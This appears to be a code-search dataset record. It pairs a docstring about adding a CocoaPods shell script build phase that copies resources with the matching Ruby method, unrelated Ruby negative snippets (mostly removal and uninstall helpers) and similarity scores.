input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + COPY_XCFRAMEWORKS_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n reorder_script_phase(native_target, phase, :before_compile)\n end", "def remove name, type = nil, &block\n debug \"Runner#remove name:#{name}, type:#{type}\" \n \n batch \"#{name}.#{type}\", \"kill\", true\n batch \"#{name}.#{type}\", \"rm\", true \n unregister_all(/#{name}\\.#{type}\\./)\n end", "def unload_plugin(name)\n p = get_plugin(name)\n\n p.unload if p.respond_to?(:unload)\n Capistrano.remove_plugin(name)\n end", "def remove_variable(name)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.RunEditor_remove_variable(@handle.ptr, name)\n end", "def ivar_remove(name)\n if ivar_defined?(name)\n remove_instance_variable(\"@#{name}\")\n end\n end", "def removeStage(name)\n find(:xpath, \"//*[@id='array-insert-config-single-com.spigit.idea.IdeaConfig.lifecycleStages']/tbody/tr/td[input[@value='#{name}']]/img\").click\n end", "def remove_midi_source(source)\n @midi.inputs.delete(source)\n end", "def removeSwitchableUnit _args\n \"removeSwitchableUnit _args;\" \n end", "def uninstall\n pacman \"--noconfirm\", \"--noprogressbar\", \"-R\", @resource[:name]\n end", "def remove_target_set(value)\n @children['target-set'][:value].delete(value)\n end", "def remove_proxy(proxy_name)\n proxy = @proxy_map.delete(proxy_name)\n proxy.on_remove\n proxy\n end", "def unload!\n Origen.app.unload_target!\n end", "def step_remove_fixes(step,\n target)\n Log.log_info('Flrtvc step : ' + step.to_s + ' (target=' + target + ')')\n nim_lpp_source_resource = get_flrtvc_name(:NIM_res, target)\n begin\n Log.log_info('Removing efixes on ' + target)\n returned = Nim.perform_efix_uninstallation(target, nim_lpp_source_resource)\n if returned\n Log.log_info('End removing efixes on ' + target)\n else\n Log.log_err('Issue while removing efixes on ' + target)\n end\n rescue StandardError => e\n Log.log_err('Exception e=' + e.to_s)\n end\n end", "def remove(skillName)\n\n end", "def remove_technique(name)\n @techniques.delete(name)\n end", "def remove_index(table, target)\n current_instructions << Instructions::RemoveIndex.new(table: table, field: target)\n end", "def delete_project_target(target, project, machine, pool)\n handle_action_exceptions(__method__) do\n cmd_line = [\n \"deleteprojecttarget '#{target}' \"\\\n \"'#{project}' '#{machine}' '#{pool}'\"\n ]\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end", "def create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + EMBED_FRAMEWORK_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def remove(name)\n template = find(name)\n shell.rm_rf(template.path) if template\n end", "def fremover(fname, sname)\n if fexistrx fname, sname\n if eval \"$#{fname}['#{sname},facets'].include? 'ifremover'\"\n eval \"eval $#{fname}['#{sname},ifremover']\"\n end\n eval \"${fname}.delete('#{sname},ref')\"\n eval \"${fname}['#{sname},facets'].delete('ref')\"\n return true\n else\n return false\n end\nend", "def unload_target!\n listeners_for(:before_load_target).each(&:before_load_target)\n clear_dynamic_resources\n clear_dynamic_resources(:static)\n Origen::Pins.clear_pin_aliases\n $dut = nil\n end", "def removeVest _args\n \"removeVest _args;\" \n end", "def delete_hooks(event_name)\n @hooks[event_name] = []\n end", "def remove_switch_target(target)\n\t\tself.preferences ||= Hash.new\n\t\tif self.preferences[:targets].nil?\n\t\t\tnil\n\t\telse\n\t\t\tself.preferences[:targets].delete_if { |elem| elem[:target] == (target.to_s) }\n\t\tend\n\tend", "def script_phase(options)\n raise Informative, 'Script phases can only be added within target definitions.' if current_target_definition.root?\n raise Informative, 'Script phases cannot be added to abstract targets.' if current_target_definition.abstract?\n current_target_definition.store_script_phase(options)\n end", "def remove_obsolete_installed_orogen_package(name)\n post_install do\n path = File.join(prefix, 'lib', 'pkgconfig')\n Dir.glob(File.join(path, \"#{name}-*.pc\")) do |pcfile|\n Autoproj.message \" removing obsolete file #{pcfile}\", :bold\n FileUtils.rm_f pcfile\n end\n pcfile = File.join(path, \"orogen-project-#{name}.pc\")\n if File.exists?(pcfile)\n Autoproj.message \" removing obsolete file #{pcfile}\", :bold\n FileUtils.rm_f pcfile\n end\n end\n end", "def destroy_manuscript\n requires_user_can :edit, task\n paper.file.destroy!\n\n head :no_content\n end", "def removeMissionEventHandler _args\n \"removeMissionEventHandler _args;\" \n end", "def delete_script_files\n validate_before_delete_script_files!\n FileUtils.rm_rf root_dir if Dir.exists? root_dir\n FileUtils.rm symlink_file if File.symlink? symlink_file\n display.print \"Playwright script '#{script_name}' destroyed!\"\n end", "def delete_file(dst, name)\n ori_file = dst.join(name)\n File.delete(ori_file) if File.exist?(ori_file)\n delete_hex(get_prefix_from_name(name))\n name\n end", "def create_or_update_user_script_phases(script_phases, native_target)\n script_phase_names = script_phases.map { |k| k[:name] }\n # Delete script phases no longer present in the target.\n native_target_script_phases = native_target.shell_script_build_phases.select do |bp|\n !bp.name.nil? && bp.name.start_with?(USER_BUILD_PHASE_PREFIX)\n end\n native_target_script_phases.each do |script_phase|\n script_phase_name_without_prefix = script_phase.name.sub(USER_BUILD_PHASE_PREFIX, '')\n unless script_phase_names.include?(script_phase_name_without_prefix)\n native_target.build_phases.delete(script_phase)\n end\n end\n # Create or update the ones that are expected to be.\n script_phases.each do |script_phase|\n name_with_prefix = USER_BUILD_PHASE_PREFIX + script_phase[:name]\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, name_with_prefix, nil)\n phase.shell_script = script_phase[:script]\n phase.shell_path = script_phase[:shell_path] || '/bin/sh'\n phase.input_paths = script_phase[:input_files]\n phase.output_paths = script_phase[:output_files]\n phase.input_file_list_paths = script_phase[:input_file_lists]\n phase.output_file_list_paths = script_phase[:output_file_lists]\n phase.dependency_file = script_phase[:dependency_file]\n # At least with Xcode 10 `showEnvVarsInLog` is *NOT* set to any value even if it's checked and it only\n # gets set to '0' if the user has explicitly disabled this.\n if (show_env_vars_in_log = script_phase.fetch(:show_env_vars_in_log, '1')) == '0'\n phase.show_env_vars_in_log = show_env_vars_in_log\n end\n\n execution_position = script_phase[:execution_position]\n reorder_script_phase(native_target, phase, execution_position)\n end\n end", "def delete(name); end", "def delete(name); end", "def remove( *args )\n args.each { |name|\n name = name.to_s.delete('=')\n code = <<-__\n undef_method :#{name} rescue nil\n undef_method :#{name}= rescue nil\n __\n Loquacious::Configuration.module_eval code\n Loquacious::Configuration::DSL.module_eval code\n }\n end", "def unreference_source_files\n set_reference_source_file(@encoding_job, false)\n redirect_to play_encoding_job_path(@encoding_job)\n end", "def remove_sound(name)\n music = MSPhysics::Music.get_by_name(name)\n MSPhysics::Music.destroy(music) if music\n dict1 = Sketchup.active_model.attribute_dictionary('MSPhysics Sounds', false)\n dict1.delete_key(name.to_s) if dict1\n dict2 = Sketchup.active_model.attribute_dictionary('MSPhysics Sound Types', false)\n dict2.delete_key(name.to_s) if dict2\n end", "def sql_for_remove\n \"DROP FUNCTION IF EXISTS #{proname}(#{get_function_args})\"\n end", "def uninstall_module(inventory_hash, target_node_name, module_to_remove = nil, **opts)\n include ::BoltSpec::Run\n module_name = module_to_remove || metadata_module_name\n target_nodes = find_targets(inventory_hash, target_node_name)\n install_module_command = \"puppet module uninstall #{module_name}\"\n install_module_command += ' --force' if opts[:force]\n bolt_result = run_command(install_module_command, target_nodes, config: nil, inventory: inventory_hash)\n # `puppet module uninstall --force` fails if the module is not installed. Ignore errors when force is set\n raise_bolt_errors(bolt_result, \"uninstalling #{module_name} failed.\") unless opts[:force]\n bolt_result\n end", "def remove_by_name(name)\n p = get_by_name(name)\n if (p != nil)\n return remove(p)\n end \n end", "def delete_component(name)\n components.delete_if { |c| c.name == name.to_sym }\n end", "def uninstall\n cmd = [:uninstall]\n case (pkg :version).chomp\n when /052adf36c3f4/\n cmd << '-r'\n end\n cmd << @resource[:name]\n self.unhold if self.properties[:mark] == :hold\n begin\n pkg cmd\n rescue StandardError, LoadError => e\n self.hold if self.properties[:mark] == :hold\n raise e\n end\n end", "def remove name\n delete(name)\n end", "def uninstall_gem(name, opts = {})\n defaults = { :ignore => true, :executables => true }\n defaults[:install_dir] = gem_dir if gem_dir\n Merb.uninstall_gem(name, defaults.merge(opts))\n end", "def delete_legacy_args args\n args.delete '--inline-source'\n args.delete '--promiscuous'\n args.delete '-p'\n args.delete '--one-file'\n end", "def delete_legacy_args args\n args.delete '--inline-source'\n args.delete '--promiscuous'\n args.delete '-p'\n args.delete '--one-file'\n end", "def remove_trigger(table_name, proc_name, options = {})\n\n end", "def remove\n return unless confirm_command\n\n args.each do |name|\n messages = nil\n if name.start_with? \"HEROKU_POSTGRESQL_\"\n name = name.chomp(\"_URL\").freeze\n end\n action(\"Removing #{name} on #{app}\") do\n messages = addon_run { heroku.uninstall_addon(app, name, :confirm => app) }\n end\n display(messages[:attachment]) if messages[:attachment]\n display(messages[:message]) if messages[:message]\n end\n end", "def remove!(name)\n remove_instance_variable to_ivar(name)\n end", "def unstage_file(path)\n unstage_files(path)\n end", "def delete_hook(name, hook_function_name)\n @hooks[name] ||= {}\n @hooks[name].delete(hook_function_name)\n end", "def remove_file(name)\n @files.delete_at(name) if @files[name]\n end", "def remove(obj, name)\n id = get_id(obj)\n if @finalizers[id]\n finalizer = @finalizers[id].delete name if @finalizers[id][name]\n @finalizers.delete id if @finalizers[id].empty?\n finalizer\n end\n end", "def delete_iptc\n Jhead.call(\"-di\", @match, @pattern)\n end", "def remove_file(path, config = {})\n return unless behavior == :invoke\n path = File.expand_path(path, destination_root)\n\n say_status :remove, relative_to_original_destination_root(path), config.fetch(:verbose, true)\n ::FileUtils.rm_rf(path) if !options[:pretend] && File.exist?(path)\n end", "def before_destroy\n # cwd: utunes_app\n logger.info(\"=======> before_destroy invoked!\")\n\n version_str = sprintf(\"%.2d\", version )\n bundle_title = \"hc12_v#{version_str}\"\n \n bundle_folder = \"lib/bundles\"\n bundle_name=\"build_\" + bundle_title\n bundle_fq_name = bundle_folder + \"/\" + bundle_name\n \n logger.info(\"rm -R #{bundle_fq_name}\")\n logger.info( %x[rm -R #{bundle_fq_name}] )\n \n end", "def remove_current_method(method_name)\n target_class_eval { remove_method(method_name) }\n end", "def unmake_exec\n update_attribute(:exec, false)\n end", "def drop_language_sql(name, opts=OPTS)\n \"DROP LANGUAGE#{' IF EXISTS' if opts[:if_exists]} #{name}#{' CASCADE' if opts[:cascade]}\"\n end", "def remove(name)\n public_generators.delete(name.to_sym)\n private_generators.delete(name.to_sym)\n end", "def cli_uninstall(executable_path)\n puts \"Trying to remove hook symlinks…\"\n puts\n \n uninstall(executable_path) do |hook_executable_file|\n puts \"Removing `#{hook_executable_file}`\"\n end\n\n puts\n puts \"Plugin `#{name}` uninstalled.\"\n\n exit\n end", "def unrun\n log \"Nothing to do.\"\n end", "def remove_trigger(table, name, options={})\n options[:name] = name\n execute \"DROP TRIGGER #{trigger_name(table, [], options).to_sql_name} ON #{table} #{cascade_or_restrict(options[:deep])};\"\n end", "def remove_trigger(table, name, options={})\n options[:name] = name\n execute \"DROP TRIGGER #{trigger_name(table, [], options).to_sql_name} ON #{table} #{cascade_or_restrict(options[:deep])};\"\n end", "def uninstall(executable_path, base_directory = base_directory_guess, &block)\n executable_file = Pathname.new(executable_path).expand_path\n executable_name = executable_file.basename.to_s\n\n used_hook_paths(base_directory).each do |hook_path|\n hook_executable_file = hook_path + executable_name\n block.call(hook_executable_file) if block\n hook_executable_file.unlink if hook_executable_file.symlink?\n end\n end" ]
[ "0.75342923", "0.72990423", "0.6754826", "0.66617566", "0.6188673", "0.6130282", "0.6057574", "0.60063744", "0.5924827", "0.5904603", "0.5879518", "0.5789481", "0.5708207", "0.5695094", "0.5688474", "0.56761956", "0.5633179", "0.5575318", "0.552158", "0.55161124", "0.5427239", "0.5369638", "0.53683007", "0.52959126", "0.52943754", "0.52803314", "0.5255307", "0.52416027", "0.524042", "0.5240002", "0.52399594", "0.5235654", "0.5221448", "0.5211875", "0.5198766", "0.5195325", "0.5169295", "0.5168416", "0.51663214", "0.51642686", "0.51638013", "0.516232", "0.5144424", "0.51436675", "0.5132588", "0.5126128", "0.5125798", "0.5119973", "0.51186466", "0.5110474", "0.51101804", "0.51006174", "0.50883794", "0.50794697", "0.5066984", "0.50509775", "0.5046764", "0.50436085", "0.502502", "0.50186145", "0.5017484", "0.5000115", "0.49991477", "0.49835354", "0.4977995", "0.49622154", "0.49596104", "0.4952261", "0.4952261", "0.49468404", "0.4944492", "0.49253738", "0.4923776", "0.49236813", "0.49226972", "0.49202448", "0.49197835", "0.49171504", "0.49161792", "0.49157885", "0.49157885", "0.4904291", "0.49040312", "0.49021718", "0.49015805", "0.49000353", "0.48999235", "0.48969114", "0.48966885", "0.48965967", "0.48951063", "0.48879132", "0.48875555", "0.48851848", "0.48845488", "0.48839653", "0.48829982", "0.4878617", "0.4878617", "0.48776037" ]
0.84856915
0
Adds a shell script build phase responsible to copy the resources generated by the TargetDefinition to the bundle of the product of the targets.
def create_or_update_copy_resources_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {}) phase_name = COPY_PODS_RESOURCES_PHASE_NAME phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + phase_name) phase.shell_script = %("#{script_path}"\n) TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_copy_resources_script_phase\n phase_name = \"Copy Pods Resources\"\n native_targets.each do |native_target|\n phase = native_target.shell_script_build_phases.select { |bp| bp.name == phase_name }.first ||\n native_target.new_shell_script_build_phase(phase_name)\n path = target.copy_resources_script_relative_path\n phase.shell_script = %{\"#{path}\"\\n}\n phase.show_env_vars_in_log = '0'\n end\n end", "def add_copy_resources_script_phase\n unless target.includes_resources?\n native_targets.each do |native_target|\n TargetIntegrator.remove_copy_resources_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.copy_resources_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths\n target.resource_paths_by_config.each do |config, resource_paths|\n input_paths_key = XCFileListConfigKey.new(target.copy_resources_script_input_files_path(config),\n target.copy_resources_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + resource_paths\n\n output_paths_key = XCFileListConfigKey.new(target.copy_resources_script_output_files_path(config),\n target.copy_resources_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.resource_output_paths(resource_paths)\n end\n end\n\n native_targets.each do |native_target|\n # Static library targets cannot include resources. Skip this phase from being added instead.\n next if native_target.symbol_type == :static_library\n TargetIntegrator.create_or_update_copy_resources_script_phase_to_target(native_target, script_path,\n input_paths_by_config,\n output_paths_by_config)\n end\n end", "def create_or_update_copy_xcframeworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + COPY_XCFRAMEWORKS_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n reorder_script_phase(native_target, phase, :before_compile)\n end", "def create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + EMBED_FRAMEWORK_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def add_copy_dsyms_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_dsyms_script_path.relative_path_from(target.sandbox.root)}\"\n dsym_paths = PodTargetInstaller.dsym_paths(target)\n bcsymbolmap_paths = PodTargetInstaller.bcsymbolmap_paths(target)\n\n if dsym_paths.empty? && bcsymbolmap_paths.empty?\n script_phase = native_target.shell_script_build_phases.find do |bp|\n bp.name && bp.name.end_with?(UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME)\n end\n native_target.build_phases.delete(script_phase) if script_phase.present?\n return\n end\n\n phase_name = UserProjectIntegrator::TargetIntegrator::BUILD_PHASE_PREFIX + UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME\n phase = UserProjectIntegrator::TargetIntegrator.create_or_update_shell_script_build_phase(native_target, phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n input_file_list_path = target.copy_dsyms_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = []\n input_paths.concat([dsym_paths, *bcsymbolmap_paths].flatten.compact)\n\n output_file_list_path = target.copy_dsyms_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths = output_paths_by_config[output_paths_key] = []\n\n dsym_output_paths = dsym_paths.map { |dsym_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(dsym_path)}\" }\n bcsymbolmap_output_paths = bcsymbolmap_paths.map { |bcsymbolmap_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(bcsymbolmap_path)}\" }\n output_paths.concat([dsym_output_paths, *bcsymbolmap_output_paths].flatten.compact)\n end\n\n UserProjectIntegrator::TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def add_copy_xcframeworks_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_xcframeworks_script_path.relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n xcframeworks = target.xcframeworks.values.flatten\n\n if use_input_output_paths? && !xcframeworks.empty?\n input_file_list_path = target.copy_xcframeworks_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = [script_path]\n\n framework_paths = xcframeworks.map { |xcf| \"${PODS_ROOT}/#{xcf.path.relative_path_from(target.sandbox.root)}\" }\n input_paths.concat framework_paths\n\n output_file_list_path = target.copy_xcframeworks_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = xcframeworks.map do |xcf|\n \"#{Target::BuildSettings::XCFRAMEWORKS_BUILD_DIR_VARIABLE}/#{xcf.target_name}/#{xcf.name}.framework\"\n end\n end\n\n if xcframeworks.empty?\n UserProjectIntegrator::TargetIntegrator.remove_copy_xcframeworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_copy_xcframeworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def remove_copy_resources_script_phase_from_target(native_target)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(COPY_PODS_RESOURCES_PHASE_NAME) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def create_or_update_shell_script_build_phase(native_target, script_phase_name, show_env_vars_in_log = '0')\n build_phases = native_target.build_phases.grep(Xcodeproj::Project::Object::PBXShellScriptBuildPhase)\n build_phases.find { |phase| phase.name && phase.name.end_with?(script_phase_name) }.tap { |p| p.name = script_phase_name if p } ||\n native_target.project.new(Xcodeproj::Project::Object::PBXShellScriptBuildPhase).tap do |phase|\n UI.message(\"Adding Build Phase '#{script_phase_name}' to project.\") do\n phase.name = script_phase_name\n unless show_env_vars_in_log.nil?\n phase.show_env_vars_in_log = show_env_vars_in_log\n end\n native_target.build_phases << phase\n end\n end\n end", "def copy_script\n\n end", "def remove_copy_xcframeworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, COPY_XCFRAMEWORKS_PHASE_NAME)\n end", "def add_post_deploy_resources\n if new_resource.precompile_assets\n app_local = app\n username = user_username\n ruby_block 'precompile assests' do\n block do\n require 'bundler'\n bundle_precompile_command = \"sudo su - #{username} -c 'cd #{app_local.release_path} \"\\\n \"&& source ./.env && #{app_local.bundle_binary} exec rake #{new_resource.precompile_command}'\"\n\n Bundler.clean_system(bundle_precompile_command)\n raise('Bundle pre-compile failed') unless $CHILD_STATUS.exitstatus.zero?\n end\n action :nothing\n subscribes :run, \"deploy_revision[#{new_resource.name}]\", :immediate\n end\n end\n\n super\n end", "def new_shell_script_build_phase(name = nil)\n phase = project.new(PBXShellScriptBuildPhase)\n phase.name = name\n build_phases << phase\n phase\n end", "def create_carthage_script_phase_for_test_targets(project, name)\n frameworks.each do |platform, fs|\n t = target(project, name, platform, true)\n add_carthage_script(t, platform, fs)\n end\nend", "def add_embed_frameworks_script_phase(native_target, spec)\n script_path = \"${PODS_ROOT}/#{target.embed_frameworks_script_path_for_spec(spec).relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n dependent_targets = if spec.test_specification?\n target.dependent_targets_for_test_spec(spec)\n else\n target.dependent_targets_for_app_spec(spec)\n end\n host_target_spec_names = target.app_host_dependent_targets_for_spec(spec).flat_map do |pt|\n pt.specs.map(&:name)\n end.uniq\n framework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.framework_paths.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n xcframework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.xcframeworks.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n\n if use_input_output_paths? && !framework_paths.empty? || !xcframework_paths.empty?\n input_file_list_path = target.embed_frameworks_script_input_files_path_for_spec(spec)\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + UserProjectIntegrator::TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframework_paths)\n\n output_file_list_path = target.embed_frameworks_script_output_files_path_for_spec(spec)\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = UserProjectIntegrator::TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframework_paths)\n end\n\n if framework_paths.empty? && xcframework_paths.empty?\n UserProjectIntegrator::TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def copy_to_bundle( file ) # it's like it has a -p\n to_dir = NSBundle.mainBundle.resourcePath\n\n puts \"copy #{file} to #{to_dir}\" \n FileUtils.cp file to_dir\n end", "def add_embed_frameworks_script_phase\n unless target.includes_frameworks? || (target.xcframeworks_by_config.values.flatten.any? { |xcf| xcf.build_type.dynamic_framework? })\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.embed_frameworks_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n configs = Set.new(target.framework_paths_by_config.keys + target.xcframeworks_by_config.keys).sort\n configs.each do |config|\n framework_paths = target.framework_paths_by_config[config] || []\n xcframeworks = target.xcframeworks_by_config[config] || []\n\n input_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_input_files_path(config), target.embed_frameworks_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframeworks)\n\n output_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_output_files_path(config), target.embed_frameworks_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframeworks)\n end\n end\n\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def postscript(ant, build_environment, product_directory, *args)\n return unless config_source[MAVEN_REPO_CONFIG_KEY]\n\n args.each do |arg|\n FilePath.new(arg['dest']).ensure_directory\n ant.jar(:jarfile => \"#{arg['dest']}/#{arg['artifact']}.jar\") do\n ant.fileset(:dir => @basedir.to_s, :includes => arg['includes'], :excludes => arg['excludes'])\n end\n end\n\n\n # package terracotaa\n end", "def add_input_path_to_script_phase(script_phase, name, platform)\n input_path = \"$(SRCROOT)/#{make_carthage_build_path(name, platform)}\"\n script_phase.input_paths << input_path\nend", "def configure_phase\n self.project.targets.each do |target|\n begin\n phase = target.sources_build_phase\n next unless phase\n rescue NoMethodError\n next\n end\n\n \n bundle = target.copy_bundle_recources\n\n # remove zombie build files\n phase.files_references.each do |file|\n begin\n file.real_path\n rescue\n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n end\n \n # remove zombie bundle files\n bundle.files_references.each do |file|\n begin\n file.real_path\n rescue\n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file\n end\n end\n end\n\n removings = [] # name of seeds going to be removed from the target\n addings = [] # name of seeds going to be added to the target\n\n self.targets.keys.sort.each do |seed_name|\n target_names = self.targets[seed_name]\n if not target_names.include?(target.name)\n removings << seed_name if not removings.include?(seed_name)\n else\n addings << seed_name if not addings.include?(seed_name)\n end\n end\n\n\n self.file_references.each do |file|\n\n removings.each do |seed_names|\n next if not seed_names.include?(file.parent.name)\n \n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file \n end\n \n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n\n addings.each do |seed_names|\n next if file.name.end_with? \".h\"\n next if not seed_names.include?(file.parent.name)\n uuid = Xcodeproj::uuid_with_name \"#{target.name}:#{file.name}\"\n \n if self.seeds[seed_names].resources.any? { |s| file.name.end_with? s }\n bundle.add_file_reference_with_uuid(file, uuid, true)\n else \n phase.add_file_reference_with_uuid(file, uuid, true)\n end\n\n end\n end\n end\n end", "def add_user_script_phases\n native_targets.each do |native_target|\n TargetIntegrator.create_or_update_user_script_phases(target.target_definition.script_phases, native_target)\n end\n end", "def copy_assets; end", "def new_copy_files_build_phase(name = nil)\n phase = project.new(PBXCopyFilesBuildPhase)\n phase.name = name\n build_phases << phase\n phase\n end", "def create_or_update_user_script_phases(script_phases, native_target)\n script_phase_names = script_phases.map { |k| k[:name] }\n # Delete script phases no longer present in the target.\n native_target_script_phases = native_target.shell_script_build_phases.select do |bp|\n !bp.name.nil? && bp.name.start_with?(USER_BUILD_PHASE_PREFIX)\n end\n native_target_script_phases.each do |script_phase|\n script_phase_name_without_prefix = script_phase.name.sub(USER_BUILD_PHASE_PREFIX, '')\n unless script_phase_names.include?(script_phase_name_without_prefix)\n native_target.build_phases.delete(script_phase)\n end\n end\n # Create or update the ones that are expected to be.\n script_phases.each do |script_phase|\n name_with_prefix = USER_BUILD_PHASE_PREFIX + script_phase[:name]\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, name_with_prefix, nil)\n phase.shell_script = script_phase[:script]\n phase.shell_path = script_phase[:shell_path] || '/bin/sh'\n phase.input_paths = script_phase[:input_files]\n phase.output_paths = script_phase[:output_files]\n phase.input_file_list_paths = script_phase[:input_file_lists]\n phase.output_file_list_paths = script_phase[:output_file_lists]\n phase.dependency_file = script_phase[:dependency_file]\n # At least with Xcode 10 `showEnvVarsInLog` is *NOT* set to any value even if it's checked and it only\n # gets set to '0' if the user has explicitly disabled this.\n if (show_env_vars_in_log = script_phase.fetch(:show_env_vars_in_log, '1')) == '0'\n phase.show_env_vars_in_log = show_env_vars_in_log\n end\n\n execution_position = script_phase[:execution_position]\n reorder_script_phase(native_target, phase, execution_position)\n end\n end", "def perform_file_copy\n\t\tretrieve_target_dir do |target_dir|\n\t\t\tFileUtils.mkdir_p target_dir\n\t\t\tcopy_depdencies_to target_dir\n\t\tend\t\n\tend", "def wrapper_script(wrapper_script, action_path, target_path, servers)\n lb = line_break\n env = @platform_info[\"environment_set\"]\n cmt = @platform_info[\"comment_char\"]\n 